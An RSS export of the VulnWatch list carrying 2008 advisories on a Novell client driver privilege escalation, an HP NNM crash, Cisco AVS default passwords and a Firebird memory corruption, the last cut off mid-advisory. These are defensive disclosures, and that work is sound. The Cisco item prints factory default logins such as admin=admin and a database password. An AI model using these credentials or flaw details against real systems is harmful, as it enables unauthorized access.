<?xml version="1.0"?>
<rss version="2.0">
<channel><title>vulnwatch</title>
<description>vulnwatch</description>
<item>
<title>[VulnWatch] iDefense Security Advisory 01.09.08: Novell NetWare Client nicm.sys Local Privilege Escalation Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0005.html</link>
<description><![CDATA[<BR />
iDefense Security Advisory 01.09.08<BR />
<a href="http://labs.idefense.com/intelligence/vulnerabilities/">http://labs.idefense.com/intelligence/vulnerabilities/</a><BR />
Jan 09, 2008<BR />
<BR />
I. BACKGROUND<BR />
<BR />
The Novell Client software provides a workstation with access to Novell<BR />
NetWare networks as well as Novell Open Enterprise Server (OES)<BR />
services. Novell Clients can access the full range of Novell services<BR />
such as authentication via Novell eDirectory, network browsing and<BR />
service resolution, and secure and reliable file system access. More<BR />
information about the Novel Client can be found on the vendor's web<BR />
site at the following URL.<BR />
<BR />
<a href="http://www.novell.com/products/clients/">http://www.novell.com/products/clients/</a><BR />
<BR />
II. DESCRIPTION<BR />
<BR />
Local exploitation of an input validation error vulnerability within<BR />
Novell Inc.'s NetWare Client allows attackers to execute arbitrary code<BR />
within the kernel.<BR />
<BR />
When the Novell NetWare Client is installed on a Windows-based operating<BR />
system, the driver nicm.sys will be loaded at system startup. This<BR />
driver allows any user to open the device &quot;\\.\nicm&quot; and issue IOCTLs<BR />
with a buffering mode of METHOD_NEITHER.<BR />
<BR />
Due to insufficient input validation, user mode software can pass kernel<BR />
addresses as arguments to the driver. By using specially constructed<BR />
input, a malicious user can use functionality within the driver to<BR />
patch kernel addresses and execute arbitrary code in kernel mode.<BR />
<BR />
III. ANALYSIS<BR />
<BR />
Exploitation of this vulnerability allows a local attacker to execute<BR />
arbitrary code within the kernel. To exploit the vulnerability, the<BR />
attacker must be able execute a specially crafted executable on the<BR />
targeted computer.<BR />
<BR />
IV. DETECTION<BR />
<BR />
iDefense has confirmed the existence of this vulnerability in nicm.sys,<BR />
file version 3.0.0.4, as included with Novell's NetWare Client 4.91<BR />
SP4. Other versions may also be vulnerable.<BR />
<BR />
V. WORKAROUND<BR />
<BR />
iDefense is currently unaware of any workaround for this issue.<BR />
<BR />
VI. VENDOR RESPONSE<BR />
<BR />
Novell Inc. has addressed this vulnerability by releasing a patch for<BR />
the NetWare Client SP3. For more information visit the following URL.<BR />
<BR />
<a href="http://download.novell.com/Download?buildid=4FmI89wOmg4">http://download.novell.com/Download?buildid=4FmI89wOmg4</a>~<BR />
<BR />
VII. CVE INFORMATION<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the<BR />
name CVE-2007-5762 to this issue. This is a candidate for inclusion in<BR />
the CVE list (<a href="http://cve.mitre.org/">http://cve.mitre.org/</a>), which standardizes names for<BR />
security problems.<BR />
<BR />
VIII. DISCLOSURE TIMELINE<BR />
<BR />
10/30/2007  Initial vendor notification<BR />
11/13/2007  Initial vendor response<BR />
01/09/2008  Coordinated public disclosure<BR />
<BR />
IX. CREDIT<BR />
<BR />
This vulnerability was reported to iDefense by Stephen Fewer of Harmony<BR />
Security (www.harmonysecurity.com)<BR />
<BR />
Get paid for vulnerability research<BR />
<a href="http://labs.idefense.com/methodology/vulnerability/vcp.php">http://labs.idefense.com/methodology/vulnerability/vcp.php</a><BR />
<BR />
Free tools, research and upcoming events<BR />
<a href="http://labs.idefense.com/">http://labs.idefense.com/</a><BR />
<BR />
X. LEGAL NOTICES<BR />
<BR />
Copyright © 2008 iDefense, Inc.<BR />
<BR />
Permission is granted for the redistribution of this alert<BR />
electronically. It may not be edited in any way without the express<BR />
written consent of iDefense. If you wish to reprint the whole or any<BR />
part of this alert in any other medium other than electronically,<BR />
please e-mail customerservice@private for permission.<BR />
<BR />
Disclaimer: The information in the advisory is believed to be accurate<BR />
at the time of publishing based on currently available information. Use<BR />
of the information constitutes acceptance for use in an AS IS condition.<BR />
 There are no warranties with regard to this information. Neither the<BR />
author nor the publisher accepts any liability for any direct,<BR />
indirect, or consequential loss or damage arising from use of, or<BR />
reliance on, this information.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 09 Jan 2008 16:06:53 -0500</pubDate>
<author>iDefense Labs</author>
</item>
<item>
<title>[VulnWatch] iDefense Security Advisory 02.04.08: Hewlett-Packard Network Node Manager Topology Manager Service DoS Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0004.html</link>
<description><![CDATA[<BR />
iDefense Security Advisory 02.04.08<BR />
<a href="http://labs.idefense.com/intelligence/vulnerabilities/">http://labs.idefense.com/intelligence/vulnerabilities/</a><BR />
Feb 04, 2008<BR />
<BR />
I. BACKGROUND<BR />
<BR />
HP Network Node Manager is a network mapping and management application<BR />
that allows administrators to monitor and control their networks. The<BR />
ovtopmd process listens, in a default configuration, on TCP port 2532.<BR />
More information can be found on the vendor's site at the following<BR />
URL.<BR />
<BR />
<a href="http://h20229.www2.hp.com/products/nnm/index.html">http://h20229.www2.hp.com/products/nnm/index.html</a><BR />
<BR />
II. DESCRIPTION<BR />
<BR />
Remote exploitation of a denial of service vulnerability in<BR />
Hewlett-Packard's Network Node Manager product allows attackers to<BR />
crash the ovtopmd process.<BR />
<BR />
The ovtopmd process contains an implementation error, in which it<BR />
attempts to access an invalid memory address based on data within the<BR />
TCP stream. By sending a specially crafted request, an attacker can<BR />
cause the service to crash.<BR />
<BR />
III. ANALYSIS<BR />
<BR />
Exploitation allows an attacker to crash the ovtopmd process. In order<BR />
to exploit this vulnerability, an attacker must be able to establish a<BR />
session with the service on TCP port 2532. No authentication is<BR />
required to access the vulnerable code path.<BR />
<BR />
IV. DETECTION<BR />
<BR />
iDefense has confirmed this vulnerability in HP's OpenView Network Node<BR />
Manager 7.5 with all updates applied as of May 14th, 2007.<BR />
<BR />
V. WORKAROUND<BR />
<BR />
Employing firewalls to limit access to the affected service will<BR />
mitigate exposure to this vulnerability.<BR />
<BR />
VI. VENDOR RESPONSE<BR />
<BR />
Hewlett-Packard has addressed this vulnerability in the HPSBMA02307<BR />
(SSRT071420) security bulletin. For more information, visit the<BR />
following URL.<BR />
<BR />
<a href="http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01321117">http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01321117</a><BR />
<BR />
VII. CVE INFORMATION<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the<BR />
name CVE-2008-0212 to this issue. This is a candidate for inclusion in<BR />
the CVE list (<a href="http://cve.mitre.org/">http://cve.mitre.org/</a>), which standardizes names for<BR />
security problems.<BR />
<BR />
VIII. DISCLOSURE TIMELINE<BR />
<BR />
05/14/2007  Initial vendor notification<BR />
05/15/2007  Initial vendor response<BR />
02/04/2008  Coordinated public disclosure<BR />
<BR />
IX. CREDIT<BR />
<BR />
The discoverer of this vulnerability wishes to remain anonymous.<BR />
<BR />
Get paid for vulnerability research<BR />
<a href="http://labs.idefense.com/methodology/vulnerability/vcp.php">http://labs.idefense.com/methodology/vulnerability/vcp.php</a><BR />
<BR />
Free tools, research and upcoming events<BR />
<a href="http://labs.idefense.com/">http://labs.idefense.com/</a><BR />
<BR />
X. LEGAL NOTICES<BR />
<BR />
Copyright © 2008 iDefense, Inc.<BR />
<BR />
Permission is granted for the redistribution of this alert<BR />
electronically. It may not be edited in any way without the express<BR />
written consent of iDefense. If you wish to reprint the whole or any<BR />
part of this alert in any other medium other than electronically,<BR />
please e-mail customerservice@private for permission.<BR />
<BR />
Disclaimer: The information in the advisory is believed to be accurate<BR />
at the time of publishing based on currently available information. Use<BR />
of the information constitutes acceptance for use in an AS IS condition.<BR />
 There are no warranties with regard to this information. Neither the<BR />
author nor the publisher accepts any liability for any direct,<BR />
indirect, or consequential loss or damage arising from use of, or<BR />
reliance on, this information.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 06 Feb 2008 14:19:06 -0500</pubDate>
<author>iDefense Labs</author>
</item>
<item>
<title>[VulnWatch] Cisco Security Advisory: Default Passwords in the Application Velocity System</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0006.html</link>
<description><![CDATA[<BR />
-----BEGIN PGP SIGNED MESSAGE-----<BR />
Hash: SHA1<BR />
<BR />
Cisco Security Advisory: Default Passwords in the Application Velocity<BR />
System<BR />
<BR />
Advisory ID: cisco-sa-20080123-avs<BR />
<BR />
<a href="http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml">http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml</a><BR />
<BR />
Revision 1.0<BR />
<BR />
For Public Release 2008 January 23 1600 UTC (GMT)<BR />
<BR />
+---------------------------------------------------------------------<BR />
<BR />
Summary<BR />
=======<BR />
<BR />
Versions of the Cisco Application Velocity System (AVS) prior to<BR />
software version AVS 5.1.0 do not prompt users to modify system account<BR />
passwords during the initial configuration process. Because there is no<BR />
requirement to change these credentials during the initial configuration<BR />
process, an attacker may be able to leverage the accounts that have<BR />
default credentials, some of which have root privileges, to take full<BR />
administrative control of the AVS system.<BR />
<BR />
After upgrading to software version AVS 5.1.0, users will be prompted to<BR />
modify these credentials.<BR />
<BR />
Cisco will make free upgrade software available to address this<BR />
vulnerability for affected customers. The software upgrade will<BR />
be applicable only for the AVS 3120, 3180, and 3180A systems. The<BR />
workaround identified in this document describes how to change the<BR />
passwords in current releases of software for the AVS 3110.<BR />
<BR />
Common Vulnerabilities and Exposures (CVE) identifier CVE-2008-0029 has<BR />
been assigned to this vulnerability.<BR />
<BR />
This advisory is posted at<BR />
<a href="http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml">http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml</a>.<BR />
<BR />
Affected Products<BR />
=================<BR />
<BR />
Vulnerable Products<BR />
+------------------<BR />
<BR />
This vulnerability affects the Cisco AVS 3110, 3120, 3180, and 3180A<BR />
Management Station appliances that are running software versions prior<BR />
to AVS 5.1.0. Administrators can determine the software version of the<BR />
AVS appliances by logging in to the Management Station web-based user<BR />
interface or from the command-line interface (CLI) of the appliance<BR />
operating system.<BR />
<BR />
Customers who use the AVS 3180 or 3180A Management Station can determine<BR />
their node software versions by navigating to the Cluster Information<BR />
Page. Each registered node will display the corresponding software<BR />
version when the node is selected.<BR />
<BR />
The AVS appliance version can also be determined from the host operating<BR />
system by using the &quot;Show Version&quot; command.<BR />
<BR />
The following example shows &quot;Show Version&quot; output for an AVS 3120<BR />
appliance that is running version 5.1.0:<BR />
<BR />
    velocity&gt;Show Version<BR />
<BR />
    ****************************************<BR />
    Cisco Application Velocity System,(AVS)<BR />
    ----------------------------------------<BR />
    AVS 3120-K9 005.001(000.034)<BR />
    ****************************************<BR />
<BR />
The following example shows &quot;Show Version&quot; output for an AVS 3180 or<BR />
3180A appliance that is running version 5.1.0:<BR />
<BR />
    velocity&gt;Show Version<BR />
<BR />
    ****************************************<BR />
    Cisco Application Velocity System,(AVS)<BR />
    ----------------------------------------<BR />
    AVS 3180-MGMT 005.001(000.034)<BR />
    ****************************************<BR />
<BR />
Products Confirmed Not Vulnerable<BR />
+--------------------------------<BR />
<BR />
No other Cisco products are currently known to be affected by this<BR />
vulnerability.<BR />
<BR />
Details<BR />
=======<BR />
<BR />
The Cisco AVS 3110 and 3120 are enterprise data center appliances for<BR />
improving web application performance, measuring end-user response<BR />
time, and managing application security. The Cisco AVS 3120 enforces<BR />
application security with an integrated web application firewall. The<BR />
Cisco AVS 3180 and 3180A Management Stations provide web-based tools for<BR />
the configuration and application performance monitoring for a cluster<BR />
of AVS 3110s and 3120s or individual nodes.<BR />
<BR />
The Cisco AVS 3110, 3120, 3180, and 3180A Management Stations use some<BR />
system accounts that are initially configured with default passwords.<BR />
Vulnerable versions of the AVS software do not prompt the administrator<BR />
to change the passwords for these accounts, including accounts with root<BR />
privileges, during the initial configuration process. Non-vulnerable<BR />
versions of AVS software will now prompt administrators to change these<BR />
accounts after installation.<BR />
<BR />
Note: If the passwords for the AVS 3110 or 3120 are changed on the<BR />
device itself and it has previously been registered with an AVS 3180<BR />
or 3180A Management Station, the node must be re-registered with the<BR />
Management Station console. Otherwise, communication between the AVS<BR />
3180 or 3180A Management Station and AVS 3110 or 3120 node will be lost.<BR />
<BR />
For additional details about the AVS node registration process, refer to<BR />
the &quot;Register Node&quot; section of the Cisco AVS User's Guide.<BR />
<BR />
After upgrading the appliance software to version AVS 5.1.0 and logging<BR />
in for the first time, the administrator will now be prompted to change<BR />
the system account passwords.<BR />
<BR />
The following example shows the new password change prompts and the<BR />
subsequent password change dialog for the AVS 3120 after upgrade:<BR />
<BR />
    velocity login: fgn<BR />
    Password:<BR />
    **WARNING** System wide secrets are in factory default state.<BR />
    Would you like to change these now? [y/n] y changing root password<BR />
    enter password:<BR />
    enter password again:<BR />
    changing fgn password<BR />
    enter password:<BR />
    enter password again:<BR />
    changing DB password<BR />
    enter password:<BR />
    enter password again:<BR />
<BR />
    Please wait...The DB password change will take a few minutes.<BR />
    changing node manager password<BR />
    enter password:<BR />
    enter password again:<BR />
    changing condenser password<BR />
    enter password:<BR />
    enter password again:<BR />
    changing console password<BR />
    enter password:<BR />
    enter password again:<BR />
<BR />
The following example shows the new password change prompts and the<BR />
subsequent password change dialog for the AVS 3180 and 3180A after<BR />
upgrade:<BR />
<BR />
    velocity login: fgn<BR />
    Password:<BR />
    **WARNING** System wide secrets are in factory default state.<BR />
    Would you like to change these now? [y/n] y changing root password<BR />
    enter password:<BR />
    enter password again:<BR />
    changing fgn password<BR />
    enter password:<BR />
    enter password again:<BR />
    changing DB password<BR />
    enter password:<BR />
    enter password again:<BR />
<BR />
    Please wait...The DB password change will take a few minutes.<BR />
    changing console password<BR />
    enter password:<BR />
    enter password again:<BR />
<BR />
This issue is documented in Cisco Bug ID CSCsd94732.<BR />
<BR />
Vulnerability Scoring Details<BR />
+----------------------------<BR />
<BR />
Cisco has provided scores for the vulnerabilities in this advisory based<BR />
on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in<BR />
this Security Advisory is done in accordance with CVSS version 2.0.<BR />
<BR />
CVSS is a standards-based scoring method that conveys vulnerability<BR />
severity and helps determine urgency and priority of response.<BR />
<BR />
Cisco has provided a base and temporal score. Customers can then<BR />
compute environmental scores to assist in determining the impact of the<BR />
vulnerability in individual networks.<BR />
<BR />
Cisco has provided an FAQ to answer additional questions regarding CVSS<BR />
at<BR />
<BR />
<a href="http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html">http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html</a>.<BR />
<BR />
Cisco has also provided a CVSS calculator to help compute the<BR />
environmental impact for individual networks at<BR />
<BR />
<a href="http://intellishield.cisco.com/security/alertmanager/cvss">http://intellishield.cisco.com/security/alertmanager/cvss</a>.<BR />
<BR />
* AVS Default Account Passwords Don't Require Change (CSCsd94732)<BR />
<BR />
CVSS Base Score - 10.0<BR />
    Access Vector -            Network<BR />
    Access Complexity -        Low<BR />
    Authentication -           None<BR />
    Confidentiality Impact -   Complete<BR />
    Integrity Impact -         Complete<BR />
    Availability Impact -      Complete<BR />
<BR />
CVSS Temporal Score - 8.3<BR />
    Exploitability -           Functional<BR />
    Remediation Level -        Official-Fix<BR />
    Report Confidence -        Confirmed<BR />
<BR />
Impact<BR />
======<BR />
<BR />
Successful exploitation of the vulnerability may result in full<BR />
administrative control of the Cisco AVS system or user-level access to<BR />
the host operating system.<BR />
<BR />
Software Versions and Fixes<BR />
===========================<BR />
<BR />
When considering software upgrades, also consult<BR />
<a href="http://www.cisco.com/go/psirt">http://www.cisco.com/go/psirt</a> and any subsequent advisories to determine<BR />
exposure and a complete upgrade solution.<BR />
<BR />
In all cases, customers should exercise caution to be certain the<BR />
devices to be upgraded contain sufficient memory and that current<BR />
hardware and software configurations will continue to be supported<BR />
properly by the new release. If the information is not clear, contact<BR />
the Cisco Technical Assistance Center (TAC) or your contracted<BR />
maintenance provider for assistance.<BR />
<BR />
AVS software version 5.1.0 contains the fix for the vulnerability<BR />
described in this document.<BR />
<BR />
AVS software is available for download from the following locations on<BR />
cisco.com:<BR />
<BR />
  * AVS 3120 5.1.0 (<a href="http://www.cisco.com/pcgi-bin/tablebuild.pl/AVS3120-5.1">http://www.cisco.com/pcgi-bin/tablebuild.pl/AVS3120-5.1</a>)<BR />
  * AVS 3180 5.1.0 (<a href="http://www.cisco.com/pcgi-bin/tablebuild.pl/AVS3180-5.1">http://www.cisco.com/pcgi-bin/tablebuild.pl/AVS3180-5.1</a>)<BR />
<BR />
Workarounds<BR />
===========<BR />
<BR />
The following workarounds are applicable only for the AVS 3110 and are<BR />
performed on the system shell. The AVS 3110 does not have a CLI. The use<BR />
of strong passwords is encouraged.<BR />
<BR />
Changing the Root Password<BR />
+-------------------------<BR />
<BR />
Complete these steps:<BR />
<BR />
 1. Change the root password by using the following command:<BR />
<BR />
        shell# passwd<BR />
<BR />
<BR />
 2. Reboot to activate the new settings by using the following command:<BR />
<BR />
        shell# reboot<BR />
<BR />
Changing the Management Console Username and Password<BR />
+----------------------------------------------------<BR />
<BR />
Complete these steps:<BR />
<BR />
 1. Open the following file in a text editor:<BR />
<BR />
    $AVS_HOME/console/jboss-3.0.1_tomcat-4.0.4/server/default/deploy/<BR />
    fgconsole.war/users.properties<BR />
<BR />
    Use the line admin=admin to set the username and password. The<BR />
    username appears before the equal sign (=) and the password appears<BR />
    after the equal sign (=). For example, to change the username to<BR />
    Cisco and the password to accelerate, change the admin=admin line<BR />
    to Cisco=accelerate.<BR />
<BR />
 2. If you change the username, you must also change this file:<BR />
<BR />
    $AVS_HOME/console/jboss-3.0.1_tomcat-4.0.4/server/default/deploy/<BR />
    fgconsole.war/roles.properties<BR />
<BR />
    The username is set by the line that contains admin=. The username<BR />
    appears before the equal sign (=). For example, to change the user<BR />
    name to Cisco, change the admin= line to Cisco=. Do not change the<BR />
    text after the equal sign (=) in this file; this field specifies<BR />
    the account privileges. The username that you enter here must match<BR />
    the one in the users.properties file in the preceding step.<BR />
<BR />
Changing the Database Username and Password<BR />
+------------------------------------------<BR />
<BR />
There are two steps required to change the database password:<BR />
<BR />
 1. First change the database password.<BR />
 2. Then update the Management Console configuration file with the new<BR />
    database password.<BR />
<BR />
Complete these steps:<BR />
<BR />
 1. Log in to the database using the old password, and then use the<BR />
    alter SQL command to change to the new password.<BR />
<BR />
        /usr/local/fineground/console/postgres/bin/psql<BR />
                         -U fineground -p 5432 fgnlog Password : &lt;old password&gt;<BR />
        Welcome to psql 7.3.4, the PostgreSQL interactive terminal.<BR />
<BR />
        Type:  \copyright for distribution terms<BR />
               \h for help with SQL commands<BR />
               \? for help on internal slash commands<BR />
               \g or terminate with semicolon to execute query<BR />
               \q to quit<BR />
        fgnlog=# alter user fineground password '&lt;new password&gt;'; \q<BR />
<BR />
 2. The username and password to access the Management Console database<BR />
    are set during the Management Console installation process. If you<BR />
    want to change these later, you can modify an XML configuration<BR />
    file that the Management Console server reads at start-up.<BR />
<BR />
     a. Open the following file in a text editor:<BR />
<BR />
        $AVS_HOME/console/jboss-3.0.1_tomcat-4.0.4/server/default/<BR />
        deploy/postgres-service.xml<BR />
<BR />
        Look for the following section in this file:<BR />
<BR />
            &lt;!--set these only if you want only default logins,<BR />
                               not through JAAS --&gt;<BR />
            &lt;config-property name=&quot;UserName&quot; type=&quot;java.lang.String&quot;&gt;fineground&lt;/config-property&gt;<BR />
            &lt;config-property name=&quot;Password&quot; type=&quot;java.lang.String&quot;&gt;condenser&lt;/config-property&gt;<BR />
<BR />
     b. To change the username, change the value for the UserName<BR />
        configuration property (fineground in this example).<BR />
<BR />
     c. To change the password, change the value for the Password<BR />
        configuration property (condenser in this example).<BR />
<BR />
     d. Save and close the file.<BR />
<BR />
Changing the Node Manager Password<BR />
+---------------------------------<BR />
<BR />
Complete these steps:<BR />
<BR />
 1. Log in as fgn, and then use the su command to switch to the<BR />
    superuser.<BR />
<BR />
 2. Stop the Condenser and Node Manager:<BR />
<BR />
        /etc/init.d/fgnpn&lt;Tab&gt; stop<BR />
<BR />
    Press Tab to have the interface complete the command.<BR />
<BR />
 3. Go to the $AVS_HOME/perfnode/node_manager/conf directory.<BR />
<BR />
 4. Back up the file named passwords.<BR />
<BR />
 5. Change the password with the following command:<BR />
<BR />
        $AVS_HOME/perfnode/bin/htpasswd -bcm passwords.new admin &lt;password&gt;<BR />
<BR />
    In the preceding command, passwords.new is the name of the file in<BR />
    which the passwords are stored. Currently only the user admin is<BR />
    supported.<BR />
<BR />
 6. Install the file with the following command:<BR />
<BR />
        install -m 400 -o nobody -g nobody passwords.new  passwords<BR />
<BR />
 7. Restart the appliance with the reboot command.<BR />
<BR />
 8. Re-register the node from the Management Console for which the node<BR />
    manager password was changed.<BR />
<BR />
Changing the Condenser Password<BR />
+------------------------------<BR />
<BR />
Complete these steps:<BR />
<BR />
 1. Log in as fgn, and then use the su command to switch to the<BR />
    superuser.<BR />
<BR />
 2. Stop the Condenser and Node Manager:<BR />
<BR />
        /etc/init.d/fgnpn&lt;TAB&gt; stop<BR />
<BR />
    Press Tab to have the interface complete the command.<BR />
<BR />
 3. Go to the $AVS_HOME/perfnode/passwd directory.<BR />
<BR />
 4. Backup the file named .htpasswd.<BR />
<BR />
 5. Change the password with the following command:<BR />
<BR />
        $AVS_HOME/perfnode/bin/htpasswd -bcm passwords.new fineground &lt;password&gt;<BR />
<BR />
    In the preceding command, passwords.new is the name of the file in<BR />
    which the passwords are stored. Currently only the user fineground<BR />
    is supported.<BR />
<BR />
 6. Install the file with the following command:<BR />
<BR />
        install -m 400 -o nobody -g nobody passwords.new  .htpasswd<BR />
<BR />
 7. Restart the appliance with the reboot command.<BR />
<BR />
 8. Re-register the node from the Management Console for which the<BR />
    Condenser password was changed.<BR />
<BR />
Obtaining Fixed Software<BR />
========================<BR />
<BR />
Cisco has released software updates that address this vulnerability.<BR />
Prior to deploying software, customers should consult their maintenance<BR />
provider or check the software for feature set compatibility and known<BR />
issues specific to their environment.<BR />
<BR />
Customers may only install and expect support for the feature<BR />
sets they have purchased. By installing, downloading, accessing<BR />
or otherwise using such software upgrades, customers agree to be<BR />
bound by the terms of Cisco's software license terms found at<BR />
<a href="http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html">http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html</a>,<BR />
or as otherwise set forth at Cisco.com Downloads at<BR />
<a href="http://www.cisco.com/public/sw-center/sw-usingswc.shtml">http://www.cisco.com/public/sw-center/sw-usingswc.shtml</a>.<BR />
<BR />
Do not contact psirt@private or security-alert@private for software<BR />
upgrades.<BR />
<BR />
Customers with Service Contracts<BR />
+-------------------------------<BR />
<BR />
Customers with contracts should obtain upgraded software through their<BR />
regular update channels. For most customers, this means that upgrades<BR />
should be obtained through the Software Center on Cisco's worldwide<BR />
website at <a href="http://www.cisco.com">http://www.cisco.com</a>.<BR />
<BR />
Customers using Third Party Support Organizations<BR />
+------------------------------------------------<BR />
<BR />
Customers whose Cisco products are provided or maintained through prior<BR />
or existing agreements with third-party support organizations, such<BR />
as Cisco Partners, authorized resellers, or service providers should<BR />
contact that support organization for guidance and assistance with the<BR />
appropriate course of action in regards to this advisory.<BR />
<BR />
The effectiveness of any workaround or fix is dependent on specific<BR />
customer situations, such as product mix, network topology, traffic<BR />
behavior, and organizational mission. Due to the variety of affected<BR />
products and releases, customers should consult with their service<BR />
provider or support organization to ensure any applied workaround or fix<BR />
is the most appropriate for use in the intended network before it is<BR />
deployed.<BR />
<BR />
Customers without Service Contracts<BR />
+----------------------------------<BR />
<BR />
Customers who purchase direct from Cisco but do not hold a Cisco service<BR />
contract, and customers who purchase through third-party vendors but are<BR />
unsuccessful in obtaining fixed software through their point of sale<BR />
should acquire upgrades by contacting the Cisco Technical Assistance<BR />
Center (TAC). TAC contacts are as follows.<BR />
<BR />
  * +1 800 553 2447 (toll free from within North America)<BR />
  * +1 408 526 7209 (toll call from anywhere in the world)<BR />
  * e-mail: tac@private<BR />
<BR />
Customers should have their product serial number available and be<BR />
prepared to give the URL of this notice as evidence of entitlement to a<BR />
free upgrade. Free upgrades for non-contract customers must be requested<BR />
through the TAC.<BR />
<BR />
Refer to <a href="http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml">http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml</a><BR />
for additional TAC contact information, including localized telephone<BR />
numbers, and instructions and e-mail addresses for use in various<BR />
languages.<BR />
<BR />
Exploitation and Public Announcements<BR />
=====================================<BR />
<BR />
The Cisco PSIRT is not aware of any public announcements or malicious<BR />
use of the vulnerability described in this advisory.<BR />
<BR />
This vulnerability was identified through internal testing.<BR />
<BR />
Status of this Notice: Final<BR />
============================<BR />
<BR />
THIS DOCUMENT IS PROVIDED ON AN &quot;AS IS&quot; BASIS AND DOES NOT IMPLY<BR />
ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF<BR />
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE<BR />
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS<BR />
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS<BR />
DOCUMENT AT ANY TIME.<BR />
<BR />
A stand-alone copy or Paraphrase of the text of this document that omits<BR />
the distribution URL in the following section is an uncontrolled copy,<BR />
and may lack important information or contain factual errors.<BR />
<BR />
Distribution<BR />
============<BR />
<BR />
This advisory is posted on Cisco's worldwide website at :<BR />
<BR />
<a href="http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml">http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml</a><BR />
<BR />
In addition to worldwide web posting, a text version of this notice is<BR />
clear-signed with the Cisco PSIRT PGP key and is posted to the following<BR />
e-mail and Usenet news recipients.<BR />
<BR />
  * cust-security-announce@private<BR />
  * first-teams@private<BR />
  * bugtraq@private<BR />
  * vulnwatch@private<BR />
  * cisco@private<BR />
  * cisco-nsp@private<BR />
  * full-disclosure@private<BR />
  * comp.dcom.sys.cisco@private<BR />
<BR />
Future updates of this advisory, if any, will be placed on Cisco's<BR />
worldwide website, but may or may not be actively announced on mailing<BR />
lists or newsgroups. Users concerned about this problem are encouraged<BR />
to check the above URL for any updates.<BR />
<BR />
Revision History<BR />
================<BR />
<BR />
+-------------------------------------------------------------+<BR />
| Revision 1.0  | 2008-January-23  | Initial public release   |<BR />
+-------------------------------------------------------------+<BR />
<BR />
Cisco Security Procedures<BR />
=========================<BR />
<BR />
Complete information on reporting security vulnerabilities<BR />
in Cisco products, obtaining assistance with security<BR />
incidents, and registering to receive security information<BR />
from Cisco, is available on Cisco's worldwide website at<BR />
<a href="http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html">http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html</a>.<BR />
This includes instructions for press inquiries regarding<BR />
Cisco security notices. All Cisco security advisories are available at<BR />
<a href="http://www.cisco.com/go/psirt">http://www.cisco.com/go/psirt</a>.<BR />
<BR />
+----------------------------------------------------------------------<BR />
All contents are Copyright (C) 2006-2008 Cisco Systems, Inc. All rights<BR />
reserved.<BR />
+----------------------------------------------------------------------<BR />
<BR />
Updated: Jan 21, 2008                               Document ID: 100212<BR />
<BR />
+----------------------------------------------------------------------<BR />
-----BEGIN PGP SIGNATURE-----<BR />
Version: GnuPG v1.4.6 (GNU/Linux)<BR />
<BR />
iD8DBQFHl3j486n/Gc8U/uARArPpAJwJaihdYFR6B+ljPNEYLq6nCfluxgCbB85h<BR />
UYvka5159PAAagGuJDiS10E=<BR />
=PnnY<BR />
-----END PGP SIGNATURE-----<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 23 Jan 2008 12:28:29 -0500</pubDate>
<author>Cisco Systems Product Security Incident Response Team</author>
</item>
<item>
<title>[VulnWatch] CORE-2007-1219: Firebird Remote Memory Corruption</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0010.html</link>
<description><![CDATA[<BR />
-----BEGIN PGP SIGNED MESSAGE-----<BR />
Hash: SHA1<BR />
<BR />
<BR />
     Core Security Technologies - CoreLabs Advisory<BR />
          <a href="http://www.coresecurity.com/corelabs">http://www.coresecurity.com/corelabs</a><BR />
<BR />
<BR />
           Firebird Remote Memory Corruption<BR />
<BR />
*Advisory Information*<BR />
<BR />
Title: Firebird Remote Memory Corruption<BR />
Advisory ID:  CORE-2007-1219<BR />
Advisory URL: <a href="http://www.coresecurity.com/?action=item&id=2095">http://www.coresecurity.com/?action=item&id=2095</a><BR />
Date published: 2008-01-28<BR />
Date of last update: 2008-01-24<BR />
Vendors contacted: Firebird SQL<BR />
Release mode: Coordinated Release<BR />
<BR />
*Vulnerability Information*<BR />
<BR />
Class: Memory corruption<BR />
Remotely Exploitable: Yes<BR />
Locally Exploitable: Yes<BR />
Bugtraq ID: 27403<BR />
CVE Name: CVE-2008-0387<BR />
<BR />
*Vulnerability Description*<BR />
<BR />
Firebird [1][2] is a relational database that runs on Linux, Windows,<BR />
and a variety of Unix platforms. The Firebird Project is a commercially<BR />
independent project of C and C++ programmers, technical advisors and<BR />
supporters developing and enhancing a multi-platform relational database<BR />
management system based on the source code released by Inprise Corp (now<BR />
known as Borland Software Corp) on 25 July, 2000.<BR />
<BR />
The Firebird database manager contains an Integer Overflow in the<BR />
processing of certain tags on the XDR protocol used for communication<BR />
with the server. This led the server to corrupt the process memory and<BR />
crash. Repeated attempts are followed by a crash of the process in<BR />
charge of restarting the database server. This may also grant attackers<BR />
remote execution of arbitrary code on servers running Firebird.<BR />
<BR />
*Vulnerable packages*<BR />
<BR />
. Firebird SQL 1.0.3 and before.<BR />
